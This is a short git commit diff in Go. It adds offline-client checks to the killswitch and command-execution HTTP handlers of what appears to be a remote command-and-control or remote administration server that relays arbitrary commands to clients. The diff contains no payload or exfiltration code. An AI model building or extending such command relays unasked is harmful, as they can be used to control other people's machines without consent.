Check if client is online before trying to execute instructions
This commit is contained in:
parent
1e23bcf356
commit
df67a29de9
|
@ -75,6 +75,11 @@ func sendKillswitch(c *gin.Context) {
|
||||||
c.String(http.StatusInternalServerError, "Error happened fetching client: %v", err)
|
c.String(http.StatusInternalServerError, "Error happened fetching client: %v", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if clientList[intClientID].IsOnline == false {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
inst := Instructions{
|
inst := Instructions{
|
||||||
IsKillswitch: true,
|
IsKillswitch: true,
|
||||||
}
|
}
|
||||||
|
@ -89,6 +94,12 @@ func execCMD(c *gin.Context) {
|
||||||
c.String(http.StatusInternalServerError, "Error happened, please make this a proper error later")
|
c.String(http.StatusInternalServerError, "Error happened, please make this a proper error later")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if clientList[idInt].IsOnline == false {
|
||||||
|
c.String(http.StatusOK, "Client is currently offline!")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
command, _ := c.GetPostForm("cmd")
|
command, _ := c.GetPostForm("cmd")
|
||||||
|
|
||||||
out, err := sendCommand(idInt, command)
|
out, err := sendCommand(idInt, command)
|
||||||
|
|
Loading…
Reference in New Issue